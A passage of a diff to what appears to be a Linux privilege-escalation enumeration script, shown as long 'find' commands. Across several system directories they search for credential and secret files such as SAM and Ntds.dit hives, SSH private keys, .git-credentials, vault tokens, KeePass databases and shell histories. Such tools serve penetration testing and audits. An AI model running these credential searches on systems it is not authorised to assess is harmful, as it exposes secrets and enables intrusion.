\"KeePass.ini\" -o -name \"access_tokens.json\" -o -name \"filezilla.xml\" -o -name \".bashrc\" -o -name \"setupinfo\" -o -name \"mongod*.conf\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"*.gnupg\" -o -name \"appcmd.exe\" -o -name \"security.sav\" -o -name \"SYSTEM\" -o -name \".ldaprc\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"sites.ini\" -o -name \"passwd\" -o -name \"*.gpg\" -o -name \"*.p12\" -o -name \"gitlab.rm\" -o -name \"storage.php\" -o -name \"KeePass.config*\" -o -name \"*vnc*.ini\" -o -name \"access.log\" -o -name \"sysprep.xml\" -o -name \"cloud.cfg\" -o -name \"unattend.txt\" -o -name \"creds*\" -o -name \"*vnc*.c*nf*\" -o -name \".sudo_as_admin_successful\" -o -name \"ftp.ini\" -o -name \"drives.xml\" -o -name \"fastcgi_params\" -o -name \"groups.xml\" -o -name \"sitemanager.xml\" -o -name \"*.socket\" -o -name \"unattend.inf\" -o -name \"krb5.conf\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.db\" -o -name \"php.ini\" -o -name \"azureProfile.json\" -o -name \"https.conf\" -o -name \"credentials.db\" -o -name \"elasticsearch.y*ml\" -o -name \".env\" -o -name \"datasources.xml\" -o -name \"*vnc*.txt\" -o -name \"redis.conf\" -o -name \"hostapd.conf\" -o -name \"AzureRMContext.json\" -o -name \"autologin.conf\" -o -name \".pypirc\" -o -name \".erlang.cookie\" -o -name \"ffftp.ini\" -o -name \"index.dat\" -o -name \"unattended.xml\" -o -name \"secrets.yml\" -o -name \"hosts.equiv\" -o -name \"legacy_credentials.db\" -o -name \"*.jks\" -o -name \"my.ini\" -o -name \"rsyncd.secrets\" -o -name \"software\" -o -name \".htpasswd\" -o -name \"setupinfo.bak\" -o -name \"*.swp\" -o -name \"supervisord.conf\" -o -name \"known_hosts\" -o -name \"*.ftpconfig\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"postgresql.conf\" -o -name \"snmpd.conf\" -o -name \"*vnc*.xml\" -o -name \"scheduledtasks.xml\" -o -name \"gvm-tools.conf\" -o -name \".*_history\" -o -name \".lesshst\" -o -name \"security\" -o -name \"ws_ftp.ini\" -o -name \"ftp.config\" -o -name \"ddclient.conf\" -o -name \"ipsec.secrets\" -o -name \"backup\" -o -name \"kibana.y*ml\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.key\" -o -name \"RDCMan.settings\" -o -name \"*.cer\" -o -name \"pagefile.sys\" -o -name \"FreeSSHDservice.ini\" -o -name \"AppEvent.Evt\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"web*.config\" -o -name \"*.pgp\" -o -name \"pgadmin*.db\" -o -name \"settings.php\" -o -name \"cesi.conf\" -o -name \"tomcat-users.xml\" -o -name \"sysprep.inf\" -o -name \"rsyncd.conf\" -o -name \"authorized_hosts\" -o -name \".recently-used.xbel\" -o -name \"accessTokens.json\" -o -name \"db.php\" -o -name \"ntuser.dat\" -o -name \"*config*.php\" -o -name \"kadm5.acl\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_SNAP=`eval_bckgrd "find /snap -name \"authorized_keys\" -o -name \"docker.sock\" -o -name \"SecEvent.Evt\" -o -name \".vault-token\" -o -name \"Ntds.dit\" -o -name \"*.ovpn\" -o -name \"*.kdbx\" -o -name \"httpd.conf\" -o -name \"000-default\" -o -name \"krb5.keytab\" -o -name \"*credential*\" -o -name \"server.xml\" -o -name \"*.viminfo\" -o -name \"vault-ssh-helper.hcl\" -o -name \"scclient.exe\" -o -name \".git\" -o -name \"system.sav\" -o -name \"access_tokens.db\" -o -name \"recentservers.xml\" -o -name \"*.keyring\" -o -name \"KeePass.enforced*\" -o -name \"*password*\" -o -name \"docker-compose.yml\" -o -name \"wp-config.php\" -o -name \"credentials\" -o -name \"id_rsa*\" -o -name \"*.pfx\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"bash.exe\" -o -name \"services.xml\" -o -name \"*.sqlite3\" -o -name \"NetSetup.log\" -o -name \"*.crt\" -o -name \".gitconfig\" -o -name \"pg_hba.conf\" -o -name \"docker.socket\" -o -name \"Dockerfile\" -o -name \"*.rdg\" -o -name \"error.log\" -o -name \"anaconda-ks.cfg\" -o -name \".github\" -o -name \".profile\" -o -name \"gitlab.yml\" -o -name \"config.php\" -o -name \".rhosts\" -o -name \".msmtprc\" -o -name \"printers.xml\" -o -name \"backups\" -o -name \"*.der\" -o -name \"iis6.log\" -o -name \"unattend.xml\" -o -name \"my.cnf\" -o -name \"wcx_ftp.ini\" -o -name \".k5login\" -o -name \"*.timer\" -o -name \"pgsql.conf\" -o -name \"TokenCache.dat\" -o -name \"id_dsa*\" -o -name \"ipsec.conf\" -o -name \"winscp.ini\" -o -name \"autologin\" -o -name \".google_authenticator\" -o -name \"default.sav\" -o -name \"*.csr\" -o -name \"KeePass.ini\" -o -name \"access_tokens.json\" -o -name \"filezilla.xml\" -o -name \".bashrc\" -o -name \"setupinfo\" -o -name \"mongod*.conf\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"*.gnupg\" -o -name \"appcmd.exe\" -o -name \"security.sav\" -o -name \"SYSTEM\" -o -name \".ldaprc\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"sites.ini\" -o -name \"passwd\" -o -name \"*.gpg\" -o -name \"*.p12\" -o -name \"gitlab.rm\" -o -name \"storage.php\" -o -name \"KeePass.config*\" -o -name \"*vnc*.ini\" -o -name \"access.log\" -o -name \"sysprep.xml\" -o -name \"cloud.cfg\" -o -name \"unattend.txt\" -o -name \"creds*\" -o -name \"*vnc*.c*nf*\" -o -name \".sudo_as_admin_successful\" -o -name \"ftp.ini\" -o -name \"drives.xml\" -o -name \"fastcgi_params\" -o -name \"groups.xml\" -o -name \"sitemanager.xml\" -o -name \"*.socket\" -o -name \"unattend.inf\" -o -name \"krb5.conf\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.db\" -o -name \"php.ini\" -o -name \"azureProfile.json\" -o -name \"https.conf\" -o -name \"credentials.db\" -o -name \"elasticsearch.y*ml\" -o -name \".env\" -o -name \"datasources.xml\" -o -name \"*vnc*.txt\" -o -name \"redis.conf\" -o -name \"hostapd.conf\" -o -name \"AzureRMContext.json\" -o -name \"autologin.conf\" -o -name \".pypirc\" -o -name \".erlang.cookie\" -o -name \"ffftp.ini\" -o -name \"index.dat\" -o -name \"unattended.xml\" -o -name \"secrets.yml\" -o -name \"hosts.equiv\" -o -name \"legacy_credentials.db\" -o -name \"*.jks\" -o -name \"my.ini\" -o -name \"rsyncd.secrets\" -o -name \"software\" -o -name \".htpasswd\" -o -name \"setupinfo.bak\" -o -name \"*.swp\" -o -name \"supervisord.conf\" -o -name \"known_hosts\" -o -name \"*.ftpconfig\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"postgresql.conf\" -o -name \"snmpd.conf\" -o -name \"*vnc*.xml\" -o -name \"scheduledtasks.xml\" -o -name \"gvm-tools.conf\" -o -name \".*_history\" -o -name \".lesshst\" -o -name \"security\" -o -name \"ws_ftp.ini\" -o -name \"ftp.config\" -o -name \"ddclient.conf\" -o -name \"ipsec.secrets\" -o -name \"backup\" -o -name \"kibana.y*ml\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.key\" -o -name \"RDCMan.settings\" -o -name \"*.cer\" -o -name \"pagefile.sys\" -o -name \"FreeSSHDservice.ini\" -o -name \"AppEvent.Evt\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"web*.config\" -o -name \"*.pgp\" -o -name \"pgadmin*.db\" -o -name \"settings.php\" -o -name \"cesi.conf\" -o -name \"tomcat-users.xml\" -o -name \"sysprep.inf\" -o -name \"rsyncd.conf\" -o -name \"authorized_hosts\" -o -name \".recently-used.xbel\" -o -name \"accessTokens.json\" -o -name \"db.php\" -o -name \"ntuser.dat\" -o -name \"*config*.php\" -o -name \"kadm5.acl\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_SRV=`eval_bckgrd "find /srv -name \"authorized_keys\" -o -name \"docker.sock\" -o -name \"SecEvent.Evt\" -o -name \".vault-token\" -o -name \"Ntds.dit\" -o -name \"*.ovpn\" -o -name \"*.kdbx\" -o -name \"httpd.conf\" -o -name \"000-default\" -o -name \"krb5.keytab\" -o -name \"*credential*\" -o -name \"server.xml\" -o -name \"*.viminfo\" -o -name \"vault-ssh-helper.hcl\" -o -name \"scclient.exe\" -o -name \".git\" -o -name \"system.sav\" -o -name \"access_tokens.db\" -o -name \"recentservers.xml\" -o -name \"*.keyring\" -o -name \"KeePass.enforced*\" -o -name \"*password*\" -o -name \"docker-compose.yml\" -o -name \"wp-config.php\" -o -name \"credentials\" -o -name \"id_rsa*\" -o -name \"*.pfx\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"bash.exe\" -o -name \"services.xml\" -o -name \"*.sqlite3\" -o -name \"NetSetup.log\" -o -name \"*.crt\" -o -name \".gitconfig\" -o -name \"pg_hba.conf\" -o -name \"docker.socket\" -o -name \"Dockerfile\" -o -name \"*.rdg\" -o -name \"error.log\" -o -name \"anaconda-ks.cfg\" -o -name \".github\" -o -name \".profile\" -o -name \"gitlab.yml\" -o -name \"config.php\" -o -name \".rhosts\" -o -name \".msmtprc\" -o -name \"printers.xml\" -o -name \"backups\" -o -name \"*.der\" -o -name \"iis6.log\" -o -name \"unattend.xml\" -o -name \"my.cnf\" -o -name \"wcx_ftp.ini\" -o -name \".k5login\" -o -name \"*.timer\" -o -name \"pgsql.conf\" -o -name \"TokenCache.dat\" -o -name \"id_dsa*\" -o -name \"ipsec.conf\" -o -name \"winscp.ini\" -o -name \"autologin\" -o -name \".google_authenticator\" -o -name \"default.sav\" -o -name \"*.csr\" -o -name \"KeePass.ini\" -o -name \"access_tokens.json\" -o -name \"filezilla.xml\" -o -name \".bashrc\" -o -name \"setupinfo\" -o -name \"mongod*.conf\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"*.gnupg\" -o -name \"appcmd.exe\" -o -name \"security.sav\" -o -name \"SYSTEM\" -o -name \".ldaprc\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"sites.ini\" -o -name \"passwd\" -o -name \"*.gpg\" -o -name \"*.p12\" -o -name \"gitlab.rm\" -o -name \"storage.php\" -o -name \"KeePass.config*\" -o -name \"*vnc*.ini\" -o -name \"access.log\" -o -name \"sysprep.xml\" -o -name \"cloud.cfg\" -o -name \"unattend.txt\" -o -name \"creds*\" -o -name \"*vnc*.c*nf*\" -o -name \".sudo_as_admin_successful\" -o -name \"ftp.ini\" -o -name \"drives.xml\" -o -name \"fastcgi_params\" -o -name \"groups.xml\" -o -name \"sitemanager.xml\" -o -name \"*.socket\" -o -name \"unattend.inf\" -o -name \"krb5.conf\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.db\" -o -name \"php.ini\" -o -name \"azureProfile.json\" -o -name \"https.conf\" -o -name \"credentials.db\" -o -name \"elasticsearch.y*ml\" -o -name \".env\" -o -name \"datasources.xml\" -o -name \"*vnc*.txt\" -o -name \"redis.conf\" -o -name \"hostapd.conf\" -o -name \"AzureRMContext.json\" -o -name \"autologin.conf\" -o -name \".pypirc\" -o -name \".erlang.cookie\" -o -name \"ffftp.ini\" -o -name \"index.dat\" -o -name \"unattended.xml\" -o -name \"secrets.yml\" -o -name \"hosts.equiv\" -o -name \"legacy_credentials.db\" -o -name \"*.jks\" -o -name \"my.ini\" -o -name \"rsyncd.secrets\" -o -name \"software\" -o -name \".htpasswd\" -o -name \"setupinfo.bak\" -o -name \"*.swp\" -o -name \"supervisord.conf\" -o -name \"known_hosts\" -o -name \"*.ftpconfig\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"postgresql.conf\" -o -name \"snmpd.conf\" -o -name \"*vnc*.xml\" -o -name \"scheduledtasks.xml\" -o -name \"gvm-tools.conf\" -o -name \".*_history\" -o -name \".lesshst\" -o -name \"security\" -o -name \"ws_ftp.ini\" -o -name \"ftp.config\" -o -name \"ddclient.conf\" -o -name \"ipsec.secrets\" -o -name \"backup\" -o -name \"kibana.y*ml\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.key\" -o -name \"RDCMan.settings\" -o -name \"*.cer\" -o -name \"pagefile.sys\" -o -name \"FreeSSHDservice.ini\" -o -name \"AppEvent.Evt\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"web*.config\" -o -name \"*.pgp\" -o -name \"pgadmin*.db\" -o -name \"settings.php\" -o -name \"cesi.conf\" -o -name \"tomcat-users.xml\" -o -name \"sysprep.inf\" -o -name \"rsyncd.conf\" -o -name \"authorized_hosts\" -o -name \".recently-used.xbel\" -o -name \"accessTokens.json\" -o -name \"db.php\" -o -name \"ntuser.dat\" -o -name \"*config*.php\" -o -name \"kadm5.acl\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
   FIND_SYS=`eval_bckgrd "find /sys -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
   FIND_SYSTEM=`eval_bckgrd "find /system -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
   FIND_SYSTEMD=`eval_bckgrd "find /systemd -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_TMP=`eval_bckgrd "find /tmp -name \"ntuser.dat\" -o -name \"authorized_hosts\" -o -name \"sess_*\" -o -name \"ConsoleHost_history.txt\" -o -name \"anaconda-ks.cfg\" -o -name \"TokenCache.dat\" -o -name \"*.pgp\" -o -name \"*.rdg\" -o -name \"*.gpg\" -o -name \".rhosts\" -o -name \".git-credentials\" -o -name \"default.sav\" -o -name \"security\" -o -name \"settings.php\" -o -name \"unattend.xml\" -o -name \"backup\" -o -name \"Dockerfile\" -o -name \".recently-used.xbel\" -o -name \"sysprep.xml\" -o -name \"my.ini\" -o -name \"KeePass.ini\" -o -name \"*.pfx\" -o -name \"access_tokens.json\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"redis.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sitemanager.xml\" -o -name \"wp-config.php\" -o -name \".bashrc\" -o -name \"unattended.xml\" -o -name \"id_rsa*\" -o -name \".sudo_as_admin_successful\" -o -name \"iis6.log\" -o -name \"sysprep.inf\" -o -name \"software.sav\" -o -name \"authorized_keys\" -o -name \"pagefile.sys\" -o -name \"*vnc*.xml\" -o -name \"bash.exe\" -o -name \"*.db\" -o -name \"pg_hba.conf\" -o -name \"unattend.inf\" -o -name \".profile\" -o -name \"setupinfo\" -o -name \".htpasswd\" -o -name \"docker-compose.yml\" -o -name \"AzureRMContext.json\" -o -name \"kibana.y*ml\" -o -name \"*.timer\" -o -name \"appcmd.exe\" -o -name \"KeePass.enforced*\" -o -name \"ffftp.ini\" -o -name \".msmtprc\" -o -name \"*.csr\" -o -name \"gitlab.yml\" -o -name \"docker.sock\" -o -name \"*.sqlite3\" -o -name \"recentservers.xml\" -o -name \"filezilla.xml\" -o -name \"pgsql.conf\" -o -name \".k5login\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"sites.ini\" -o -name \"server.xml\" -o -name \".pypirc\" -o -name \"unattend.txt\" -o -name \"error.log\" -o -name \"scclient.exe\" -o -name \"setupinfo.bak\" -o -name \"my.cnf\" -o -name \".ldaprc\" -o -name \"rsyncd.conf\" -o -name \"*.socket\" -o -name \".erlang.cookie\" -o -name \"rsyncd.secrets\" -o -name \"FreeSSHDservice.ini\" -o -name \"index.dat\" -o -name \"config.php\" -o -name \"cloud.cfg\" -o -name \"hostapd.conf\" -o -name \"scheduledtasks.xml\" -o -name \"known_hosts\" -o -name \"*.viminfo\" -o -name \"docker.socket\" -o -name \"*credential*\" -o -name \"krb5.conf\" -o -name \".env\" -o -name \"supervisord.conf\" -o -name \"*.swp\" -o -name \"ipsec.secrets\" -o -name \"postgresql.conf\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"elasticsearch.y*ml\" -o -name \"kadm5.acl\" -o -name \"accessTokens.json\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \".google_authenticator\" -o -name \"*config*.php\" -o -name \"*.jks\" -o -name \"*.sqlite\" -o -name \"security.sav\" -o -name \"database.php\" -o -name \"autologin.conf\" -o -name \"php.ini\" -o -name \"*.gnupg\" -o -name \"*vnc*.ini\" -o -name \"krb5.keytab\" -o -name \"ipsec.conf\" -o -name \"Ntds.dit\" -o -name \"*.ftpconfig\" -o -name \"httpd.conf\" -o -name \"winscp.ini\" -o -name \"*.ovpn\" -o -name \"*.keyring\" -o -name \"gitlab.rm\" -o -name \"ftp.ini\" -o -name \"services.xml\" -o -name \".vault-token\" -o -name \"https.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"datasources.xml\" -o -name \"system.sav\" -o -name \"NetSetup.log\" -o -name \"id_dsa*\" -o -name \"*.p12\" -o -name \"*password*\" -o -name \"AppEvent.Evt\" -o -name \"passwd\" -o -name \"*.keystore\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"SecEvent.Evt\" -o -name \"wcx_ftp.ini\" -o -name \"drives.xml\" -o -name \"cesi.conf\" -o -name \"credentials.db\" -o -name \"storage.php\" -o -name \".gitconfig\" -o -name \"*vnc*.txt\" -o -name \"pgadmin*.db\" -o -name \"agent*\" -o -name \"snmpd.conf\" -o -name \"ftp.config\" -o -name \"*.crt\" -o -name \"hosts.equiv\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".github\" -o -name \"autologin\" -o -name \"groups.xml\" -o -name \"fastcgi_params\" -o -name \"*.cer\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"db.php\" -o -name \"web*.config\" -o -name \"*.kdbx\" -o -name \"software\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \"mosquitto.conf\" -o -name \"https-xampp.conf\" -o -name \"creds*\" -o -name \".lesshst\" -o -name \"000-default\" -o -name \".git\" -o -name \"access_tokens.db\" -o -name \".*_history\" -o -name \"tomcat-users.xml\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_USR=`eval_bckgrd "find /usr -name \"ntuser.dat\" -o -name \"authorized_hosts\" -o -name \"ConsoleHost_history.txt\" -o -name \"anaconda-ks.cfg\" -o -name \"TokenCache.dat\" -o -name \"*.pgp\" -o -name \"*.rdg\" -o -name \"*.gpg\" -o -name \".rhosts\" -o -name \".git-credentials\" -o -name \"default.sav\" -o -name \"security\" -o -name \"settings.php\" -o -name \"unattend.xml\" -o -name \"backup\" -o -name \"Dockerfile\" -o -name \".recently-used.xbel\" -o -name \"sysprep.xml\" -o -name \"my.ini\" -o -name \"KeePass.ini\" -o -name \"*.pfx\" -o -name \"access_tokens.json\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"*config*ssh*\" -o -name \"redis.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sitemanager.xml\" -o -name \"wp-config.php\" -o -name \".bashrc\" -o -name \"unattended.xml\" -o -name \"id_rsa*\" -o -name \".sudo_as_admin_successful\" -o -name \"iis6.log\" -o -name \"sysprep.inf\" -o -name \"software.sav\" -o -name \"authorized_keys\" -o -name \"pagefile.sys\" -o -name \"*vnc*.xml\" -o -name \"bash.exe\" -o -name \"*.db\" -o -name \"pg_hba.conf\" -o -name \"unattend.inf\" -o -name \".profile\" -o -name \"*ssh*config*\" -o -name \"setupinfo\" -o -name \".htpasswd\" -o -name \"docker-compose.yml\" -o -name \"AzureRMContext.json\" -o -name \"kibana.y*ml\" -o -name \"*.timer\" -o -name \"appcmd.exe\" -o -name \"KeePass.enforced*\" -o -name \"ffftp.ini\" -o -name \".msmtprc\" -o -name \"*.csr\" -o -name \"gitlab.yml\" -o -name \"docker.sock\" -o -name \"*.sqlite3\" -o -name \"recentservers.xml\" -o -name \"filezilla.xml\" -o -name \"pgsql.conf\" -o -name \".k5login\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"sites.ini\" -o -name \"server.xml\" -o -name \".pypirc\" -o -name \"unattend.txt\" -o -name \"error.log\" -o -name \"scclient.exe\" -o -name \"setupinfo.bak\" -o -name \"my.cnf\" -o -name \".ldaprc\" -o -name \"rsyncd.conf\" -o -name \"*.socket\" -o -name \".erlang.cookie\" -o -name \"rsyncd.secrets\" -o -name \"FreeSSHDservice.ini\" -o -name \"index.dat\" -o -name \"config.php\" -o -name \"cloud.cfg\" -o -name \"hostapd.conf\" -o -name \"scheduledtasks.xml\" -o -name \"known_hosts\" -o -name \"*.viminfo\" -o -name \"docker.socket\" -o -name \"*credential*\" -o -name \"krb5.conf\" -o -name \".env\" -o -name \"supervisord.conf\" -o -name \"*.swp\" -o -name \"ipsec.secrets\" -o -name \"postgresql.conf\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"elasticsearch.y*ml\" -o -name \"kadm5.acl\" -o -name \"accessTokens.json\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \".google_authenticator\" -o -name \"*config*.php\" -o -name \"*.jks\" -o -name \"*.sqlite\" -o -name \"security.sav\" -o -name \"database.php\" -o -name \"autologin.conf\" -o -name \"php.ini\" -o -name \"*.gnupg\" -o -name \"*vnc*.ini\" -o -name \"krb5.keytab\" -o -name \"ipsec.conf\" -o -name \"Ntds.dit\" -o -name \"*.ftpconfig\" -o -name \"httpd.conf\" -o -name \"winscp.ini\" -o -name \"*.ovpn\" -o -name \"*.keyring\" -o -name \"gitlab.rm\" -o -name \"ftp.ini\" -o -name \"services.xml\" -o -name \".vault-token\" -o -name \"https.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"datasources.xml\" -o -name \"system.sav\" -o -name \"NetSetup.log\" -o -name \"id_dsa*\" -o -name \"*.p12\" -o -name \"*password*\" -o -name \"AppEvent.Evt\" -o -name \"passwd\" -o -name \"*.keystore\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"SecEvent.Evt\" -o -name \"wcx_ftp.ini\" -o -name \"drives.xml\" -o -name \"cesi.conf\" -o -name \"credentials.db\" -o -name \"storage.php\" -o -name \".gitconfig\" -o -name \"*vnc*.txt\" -o -name \"pgadmin*.db\" -o -name \"snmpd.conf\" -o -name \"ftp.config\" -o -name \"*.crt\" -o -name \"hosts.equiv\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".github\" -o -name \"autologin\" -o -name \"groups.xml\" -o -name \"fastcgi_params\" -o -name \"*.cer\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"db.php\" -o -name \"web*.config\" -o -name \"*.kdbx\" -o -name \"software\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \"mosquitto.conf\" -o -name \"https-xampp.conf\" -o -name \"creds*\" -o -name \".lesshst\" -o -name \"000-default\" -o -name \".git\" -o -name \"access_tokens.db\" -o -name \".*_history\" -o -name \"tomcat-users.xml\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_VAR=`eval_bckgrd "find /var -name \"ntuser.dat\" -o -name \"authorized_hosts\" -o -name \"sess_*\" -o -name \"ConsoleHost_history.txt\" -o -name \"anaconda-ks.cfg\" -o -name \"TokenCache.dat\" -o -name \"*.pgp\" -o -name \"*.rdg\" -o -name \"*.gpg\" -o -name \".rhosts\" -o -name \".git-credentials\" -o -name \"default.sav\" -o -name \"security\" -o -name \"settings.php\" -o -name \"unattend.xml\" -o -name \"backup\" -o -name \"Dockerfile\" -o -name \".recently-used.xbel\" -o -name \"sysprep.xml\" -o -name \"my.ini\" -o -name \"KeePass.ini\" -o -name \"*.pfx\" -o -name \"access_tokens.json\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"redis.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sitemanager.xml\" -o -name \"wp-config.php\" -o -name \".bashrc\" -o -name \"unattended.xml\" -o -name \"id_rsa*\" -o -name \".sudo_as_admin_successful\" -o -name \"iis6.log\" -o -name \"sysprep.inf\" -o -name \"software.sav\" -o -name \"authorized_keys\" -o -name \"pagefile.sys\" -o -name \"*vnc*.xml\" -o -name \"bash.exe\" -o -name \"*.db\" -o -name \"pg_hba.conf\" -o -name \"unattend.inf\" -o -name \".profile\" -o -name \"setupinfo\" -o -name \".htpasswd\" -o -name \"docker-compose.yml\" -o -name \"AzureRMContext.json\" -o -name \"kibana.y*ml\" -o -name \"*.timer\" -o -name \"appcmd.exe\" -o -name \"KeePass.enforced*\" -o -name \"ffftp.ini\" -o -name \".msmtprc\" -o -name \"*.csr\" -o -name \"gitlab.yml\" -o -name \"docker.sock\" -o -name \"*.sqlite3\" -o -name \"recentservers.xml\" -o -name \"filezilla.xml\" -o -name \"pgsql.conf\" -o -name \".k5login\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"sites.ini\" -o -name \"server.xml\" -o -name \".pypirc\" -o -name \"unattend.txt\" -o -name \"error.log\" -o -name \"scclient.exe\" -o -name \"setupinfo.bak\" -o -name \"my.cnf\" -o -name \".ldaprc\" -o -name \"rsyncd.conf\" -o -name \"*.socket\" -o -name \".erlang.cookie\" -o -name \"rsyncd.secrets\" -o -name \"FreeSSHDservice.ini\" -o -name \"index.dat\" -o -name \"config.php\" -o -name \"cloud.cfg\" -o -name \"hostapd.conf\" -o -name \"scheduledtasks.xml\" -o -name \"known_hosts\" -o -name \"*.viminfo\" -o -name \"docker.socket\" -o -name \"*credential*\" -o -name \"krb5.conf\" -o -name \".env\" -o -name \"supervisord.conf\" -o -name \"*.swp\" -o -name \"ipsec.secrets\" -o -name \"postgresql.conf\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"elasticsearch.y*ml\" -o -name \"kadm5.acl\" -o -name \"accessTokens.json\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \".google_authenticator\" -o -name \"*config*.php\" -o -name \"*.jks\" -o -name \"*.sqlite\" -o -name \"security.sav\" -o -name \"database.php\" -o -name \"autologin.conf\" -o -name \"php.ini\" -o -name \"*.gnupg\" -o -name \"*vnc*.ini\" -o -name \"krb5.keytab\" -o -name \"ipsec.conf\" -o -name \"Ntds.dit\" -o -name \"*.ftpconfig\" -o -name \"httpd.conf\" -o -name \"winscp.ini\" -o -name \"*.ovpn\" -o -name \"*.keyring\" -o -name \"gitlab.rm\" -o -name \"ftp.ini\" -o -name \"services.xml\" -o -name \".vault-token\" -o -name \"https.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"datasources.xml\" -o -name \"system.sav\" -o -name \"NetSetup.log\" -o -name \"id_dsa*\" -o -name \"*.p12\" -o -name \"*password*\" -o -name \"AppEvent.Evt\" -o -name \"passwd\" -o -name \"*.keystore\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"SecEvent.Evt\" -o -name \"wcx_ftp.ini\" -o -name \"drives.xml\" -o -name \"cesi.conf\" -o -name \"credentials.db\" -o -name \"storage.php\" -o -name \".gitconfig\" -o -name \"*vnc*.txt\" -o -name \"pgadmin*.db\" -o -name \"snmpd.conf\" -o -name \"ftp.config\" -o -name \"*.crt\" -o -name \"hosts.equiv\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".github\" -o -name \"autologin\" -o -name \"groups.xml\" -o -name \"fastcgi_params\" -o -name \"*.cer\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"db.php\" -o -name \"web*.config\" -o -name \"*.kdbx\" -o -name \"software\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \"mosquitto.conf\" -o -name \"https-xampp.conf\" -o -name \"creds*\" -o -name \".lesshst\" -o -name \"000-default\" -o -name \".git\" -o -name \"access_tokens.db\" -o -name \".*_history\" -o -name \"tomcat-users.xml\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_TMP=`eval_bckgrd "find /tmp -name \"authorized_keys\" -o -name \"docker.sock\" -o -name \"SecEvent.Evt\" -o -name \".vault-token\" -o -name \"Ntds.dit\" -o -name \"*.ovpn\" -o -name \"*.kdbx\" -o -name \"httpd.conf\" -o -name \"000-default\" -o -name \"krb5.keytab\" -o -name \"*credential*\" -o -name \"server.xml\" -o -name \"*.viminfo\" -o -name \"vault-ssh-helper.hcl\" -o -name \"scclient.exe\" -o -name \".git\" -o -name \"system.sav\" -o -name \"agent*\" -o -name \"access_tokens.db\" -o -name \"recentservers.xml\" -o -name \"*.keyring\" -o -name \"KeePass.enforced*\" -o -name \"*password*\" -o -name \"docker-compose.yml\" -o -name \"wp-config.php\" -o -name \"credentials\" -o -name \"id_rsa*\" -o -name \"*.pfx\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"bash.exe\" -o -name \"services.xml\" -o -name \"*.sqlite3\" -o -name \"NetSetup.log\" -o -name \"*.crt\" -o -name \".gitconfig\" -o -name \"pg_hba.conf\" -o -name \"docker.socket\" -o -name \"Dockerfile\" -o -name \"*.rdg\" -o -name \"error.log\" -o -name \"anaconda-ks.cfg\" -o -name \".github\" -o -name \".profile\" -o -name \"gitlab.yml\" -o -name \"config.php\" -o -name \".rhosts\" -o -name 